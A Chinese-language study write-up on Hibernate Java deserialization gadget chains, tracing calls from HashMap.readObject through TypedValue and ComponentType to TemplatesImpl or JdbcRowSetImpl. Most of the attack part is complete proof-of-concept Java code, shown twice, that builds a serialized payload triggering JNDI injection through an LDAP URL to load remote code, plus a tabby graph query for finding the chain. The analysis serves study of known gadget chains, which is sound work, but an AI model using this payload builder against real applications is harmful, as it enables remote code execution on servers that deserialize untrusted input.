Hibernate 反序列化
Hibernate ORM enables developers to more easily write applications whose data outlives the application process . As an Object/Relational Mapping (ORM) framework, Hibernate is concerned with data persistence as it applies to relational databases (via JDBC)
需要用到的类
BasicPropertyAccessor
该类实现的接口 PropertyAccessor
,定义获取类相关属性值的策略,其中包含以下两种方法
接收 Class对象及属性名,并返回相应的Getter和Setter类
再看实现类中同样也对Getter类和Setter类进行了实现。对于Getter类,其构造方法传入了Class对象,方法对象及属性名,在get方法中利用反射触发目标对象的method方法
再看BasicPropertyAccessor
实现的getGetter
方法,其中存在如下调用链
1 2 3 4 Getter getGetter(Class theClass, String propertyName) -> Getter createGetter(theClass, propertyName) -> Getter getGetterOrNull(Class theClass, String propertyName) -> Method getterMethod(Class theClass, String propertyName)
该方法的逻辑如下:
调用 Class 的 getDeclaredMethods
方法获取全部方法
Getter 方法不应该有参数,如果 Method 的参数类型数量不等于0,则跳过
如果方法类型是 BRIDGE,则跳过
获取方法名,如果以 get 或 is 开头,则可能为 getter 方法,sub 掉前缀后进行字符串的对比,在 Introspector.decapitalize()
方法中还进行的首字母大小写 的处理。
因此这个类的作用就是getGetter
方法传入指定类实例和其属性,返回的Getter
对象通过调用get
方法即可触发指定getter方法
GetterMethodImpl
AbstractComponentTuplizer
这个类提供的作用就是辅助上面的类来调用get
方法
其拥有一个Getter类数组成员属性getters,在getPropertyValue
方法中会调用指定数组元素的get方法,并传入component
指定实例对象
该抽象类存在两个子类,PojoComponentTuplizer
和DynamicMapComponentTuplizer
这对应着 Hibernate 的实体对象的类型,即 pojo 和 dynamic-map。pojo 代表将 Hibernate 类型映射为 Java 实体类 ,而 dynamic-map 将映射为 Map 对象 。
在PojoComponentTuplizer#getPropertyValues()
中会调用父类的getPropertyValues
方法,从而调用遍历调用getPropertyValue()
这里留意一下属性optimizer,构造POC的时候可能需要用
TypedValue
An ordered pair of a value and its Hibernate type
接着看如何调用到getPropertyValues()
方法
Hibernate 中定义了一个自己的类型接口 org.hibernate.type.Hibernate.Type
,用来定义 Java 类型和一个或多个 JDBC 类型之间的映射。针对不同的类型有不同的实现类,开发人员也可以自己实现这个接口来自定义类型。
在构造方法中,除了赋值操作还调用了initTransients()
其中对hashcode属性也作了初始化操作,其创建了一个ValueHolder对象,并重写了内部接口的initialize方法
该类的hashCode方法存在调用链如下
1 2 3 TypedValue.hashCode() -> ValueHolder.getValue() -> ValueHolder$DeferredInitializer.initialize()
也就是初始化时重写的方法将会被执行,其中执行了type
属性的getHashCode()
方法,传入参数value
这时将type属性设置为ComponentType
类,则会调用
其中会调用getPropertyValue()
方法,进而调用componentTuplizer
属性的getPropertyValue方法
调用链如下:
1 2 3 4 5 6 7 8 9 HashMap.readObject() TypedValue.hashCode() ValueHolder.getValue() ValueHolder.DeferredInitializer().initialize() ComponentType.getHashCode() PojoComponentTuplizer.getPropertyValue() AbstractComponentTuplizer.getPropertyValue() BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get() TemplatesImpl.getOutputProperties()
攻击构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 public class HibernateStudy2 { public static String fileName = "Hibernate2.bin" ; public static void main (String[] args) throws Exception { Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType" ); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer" ); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer" ); JdbcRowSetImpl rs = new JdbcRowSetImpl (); rs.setDataSourceName("ldap://0.0.0.0:1389/Basic/Command/calc" ); Method method = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData" ); Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter" ); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true ); Object getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData" ); Object tup = Reflections.createWithoutConstructor(pojoComponentTuplizerClass); Field field = abstractComponentTuplizerClass.getDeclaredField("getters" ); field.setAccessible(true ); Object getters = Array.newInstance(getter.getClass(), 1 ); Array.set(getters, 0 , getter); field.set(tup, getters); Object type = Reflections.createWithoutConstructor(componentTypeClass); Field field1 = componentTypeClass.getDeclaredField("componentTuplizer" ); field1.setAccessible(true ); field1.set(type, tup); Field field2 = componentTypeClass.getDeclaredField("propertySpan" ); field2.setAccessible(true ); field2.set(type, 1 ); Field field3 = componentTypeClass.getDeclaredField("propertyTypes" ); field3.setAccessible(true ); field3.set(type, new Type []{(Type) type}); TypedValue typedValue = new TypedValue ((Type) type, null ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(typedValue, "racerz" ); Field valueField = TypedValue.class.getDeclaredField("value" ); valueField.setAccessible(true ); valueField.set(typedValue, rs); FileOutputStream fout = new FileOutputStream (fileName); ObjectOutputStream outputStream = new ObjectOutputStream (fout); outputStream.writeObject(hashMap); FileInputStream fileInputStream = new FileInputStream (fileName); ObjectInputStream inputStream = new ObjectInputStream (fileInputStream); inputStream.readObject(); } }
Hibernate2 其本质上和1是一样的,只不过最后getter方法换了一个sink函数
这里利用JdbcRowSetImpl的getDatabaseMetaData方法最终构成JNDI注入
调用链如下
1 2 3 4 5 6 7 8 9 HashMap.readObject() TypedValue.hashCode() ValueHolder.getValue() ValueHolder.DeferredInitializer().initialize() ComponentType.getHashCode() PojoComponentTuplizer.getPropertyValue() AbstractComponentTuplizer.getPropertyValue() BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get() JdbcRowSetImpl.getDatabaseMetaData()
POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public static String fileName = "Hibernate2.bin" ; public static void main (String[] args) throws Exception { Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType" ); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer" ); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer" ); JdbcRowSetImpl rs = new JdbcRowSetImpl (); rs.setDataSourceName("ldap://0.0.0.0:1389/Basic/Command/calc" ); Method method = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData" ); Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter" ); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true ); Object getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData" ); Object tup = Reflections.createWithoutConstructor(pojoComponentTuplizerClass); Field field = abstractComponentTuplizerClass.getDeclaredField("getters" ); field.setAccessible(true ); Object getters = Array.newInstance(getter.getClass(), 1 ); Array.set(getters, 0 , getter); field.set(tup, getters); Object type = Reflections.createWithoutConstructor(componentTypeClass); Field field1 = componentTypeClass.getDeclaredField("componentTuplizer" ); field1.setAccessible(true ); field1.set(type, tup); Field field2 = componentTypeClass.getDeclaredField("propertySpan" ); field2.setAccessible(true ); field2.set(type, 1 ); Field field3 = componentTypeClass.getDeclaredField("propertyTypes" ); field3.setAccessible(true ); field3.set(type, new Type []{(Type) type}); TypedValue typedValue = new TypedValue ((Type) type, null ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(typedValue, "racerz" ); Field valueField = TypedValue.class.getDeclaredField("value" ); valueField.setAccessible(true ); valueField.set(typedValue, rs); FileOutputStream fout = new FileOutputStream (fileName); ObjectOutputStream outputStream = new ObjectOutputStream (fout); outputStream.writeObject(hashMap); FileInputStream fileInputStream = new FileInputStream (fileName); ObjectInputStream inputStream = new ObjectInputStream (fileInputStream); inputStream.readObject(); }
利用tabby查询
1 2 3 4 5 match (source:Method) where source.NAME="hash" and source.CLASSNAME="java.util.HashMap" match (sink:Method) where sink.NAME="get" and sink.CLASSNAME="org.hibernate.property.BasicPropertyAccessor$BasicGetter" call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 12) yield path where any(n in nodes(path) where n.CLASSNAME="org.hibernate.engine.spi.TypedValue") return * limit 100
可以看到只能查到后半截,前半截不太一致,感觉是匿名函数导致的。前半截到equals那里断掉了
参考链接 https://su18.org/post/ysoserial-su18-3/#hibernate1